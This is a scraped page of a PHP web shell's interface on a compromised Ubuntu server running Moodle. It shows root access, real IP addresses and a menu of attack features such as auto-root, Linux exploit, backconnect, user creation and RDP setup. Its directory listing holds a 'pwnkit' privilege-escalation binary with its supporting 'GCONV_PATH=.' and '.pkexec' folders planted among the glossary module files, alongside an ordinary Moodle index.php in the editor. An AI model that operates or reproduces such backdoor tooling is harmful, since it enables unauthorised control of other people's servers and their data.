Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.51
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
insepet /
libromaster /
mod /
glossary /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
backup
[ DIR ]
drwxrwxrwx
db
[ DIR ]
drwxrwxrwx
formats
[ DIR ]
drwxrwxrwx
lang
[ DIR ]
drwxrwxrwx
pix
[ DIR ]
drwxrwxrwx
tests
[ DIR ]
drwxrwxrwx
.mad-root
0
B
-rw-r--r--
README.txt
1.7
KB
-rwxrwxrwx
TODO.txt
607
B
-rwxrwxrwx
approve.php
1.61
KB
-rwxrwxrwx
deleteentry.php
5.1
KB
-rwxrwxrwx
edit.php
7.34
KB
-rwxrwxrwx
edit_form.php
6.63
KB
-rwxrwxrwx
editcategories.html
1.6
KB
-rwxrwxrwx
editcategories.php
9.85
KB
-rwxrwxrwx
export.php
2.74
KB
-rwxrwxrwx
exportentry.php
4.4
KB
-rwxrwxrwx
formats.php
8.21
KB
-rwxrwxrwx
import.php
14.64
KB
-rwxrwxrwx
import_form.php
1.13
KB
-rwxrwxrwx
index.php
4.14
KB
-rwxrwxrwx
lib.php
111.93
KB
-rwxrwxrwx
locallib.php
23.08
KB
-rwxrwxrwx
mod_form.php
10.29
KB
-rwxrwxrwx
print.php
6.12
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
rsslib.php
7.63
KB
-rwxrwxrwx
settings.php
3.83
KB
-rwxrwxrwx
showentry.php
3.16
KB
-rwxrwxrwx
showentry_ajax.php
3.46
KB
-rwxrwxrwx
sql.php
10.24
KB
-rwxrwxrwx
styles.css
2.03
KB
-rwxrwxrwx
tabs.php
3.63
KB
-rwxrwxrwx
version.php
1.21
KB
-rwxrwxrwx
view.php
17.84
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : index.php
<?php /// This page lists all the instances of glossary in a particular course /// Replace glossary with the name of your module require_once("../../config.php"); require_once("lib.php"); require_once("$CFG->libdir/rsslib.php"); require_once("$CFG->dirroot/course/lib.php"); $id = required_param('id', PARAM_INT); // course $PAGE->set_url('/mod/glossary/index.php', array('id'=>$id)); if (!$course = $DB->get_record('course', array('id'=>$id))) { print_error('invalidcourseid'); } require_course_login($course); $PAGE->set_pagelayout('incourse'); $context = context_course::instance($course->id); add_to_log($course->id, "glossary", "view all", "index.php?id=$course->id", ""); /// Get all required strings $strglossarys = get_string("modulenameplural", "glossary"); $strglossary = get_string("modulename", "glossary"); $strrss = get_string("rss"); /// Print the header $PAGE->navbar->add($strglossarys, "index.php?id=$course->id"); $PAGE->set_title($strglossarys); $PAGE->set_heading($course->fullname); echo $OUTPUT->header(); /// Get all the appropriate data if (! $glossarys = get_all_instances_in_course("glossary", $course)) { notice(get_string('thereareno', 'moodle', $strglossarys), "../../course/view.php?id=$course->id"); die; } $usesections = course_format_uses_sections($course->format); /// Print the list of instances (your module will probably extend this) $timenow = time(); $strsectionname = get_string('sectionname', 'format_'.$course->format); $strname = get_string("name"); $strentries = get_string("entries", "glossary"); $table = new html_table(); if ($usesections) { $table->head = array ($strsectionname, $strname, $strentries); $table->align = array ("CENTER", "LEFT", "CENTER"); } else { $table->head = array ($strname, $strentries); $table->align = array ("LEFT", "CENTER"); } if ($show_rss = (isset($CFG->enablerssfeeds) && isset($CFG->glossary_enablerssfeeds) && $CFG->enablerssfeeds && $CFG->glossary_enablerssfeeds)) { $table->head[] = $strrss; $table->align[] = "CENTER"; } $currentsection = ""; foreach ($glossarys as $glossary) { if (!$glossary->visible && has_capability('moodle/course:viewhiddenactivities', $context)) { // Show dimmed if the mod is hidden. $link = "<a class=\"dimmed\" href=\"view.php?id=$glossary->coursemodule\">".format_string($glossary->name,true)."</a>"; } else if ($glossary->visible) { // Show normal if the mod is visible. $link = "<a href=\"view.php?id=$glossary->coursemodule\">".format_string($glossary->name,true)."</a>"; } else { // Don't show the glossary. continue; } $printsection = ""; if ($usesections) { if ($glossary->section !== $currentsection) { if ($glossary->section) { $printsection = get_section_name($course, $glossary->section); } if ($currentsection !== "") { $table->data[] = 'hr'; } $currentsection = $glossary->section; } } // TODO: count only approved if not allowed to see them $count = $DB->count_records_sql("SELECT COUNT(*) FROM {glossary_entries} WHERE (glossaryid = ? OR sourceglossaryid = ?)", array($glossary->id, $glossary->id)); //If this glossary has RSS activated, calculate it if ($show_rss) { $rsslink = ''; if ($glossary->rsstype and $glossary->rssarticles) { //Calculate the tolltip text $tooltiptext = get_string("rsssubscriberss","glossary",format_string($glossary->name)); if (!isloggedin()) { $userid = 0; } else { $userid = $USER->id; } //Get html code for RSS link $rsslink = rss_get_link($context->id, $userid, 'mod_glossary', $glossary->id, $tooltiptext); } } if ($usesections) { $linedata = array ($printsection, $link, $count); } else { $linedata = array ($link, $count); } if ($show_rss) { $linedata[] = $rsslink; } $table->data[] = $linedata; } echo "<br />"; echo html_writer::table($table); /// Finish the page echo $OUTPUT->footer();
Close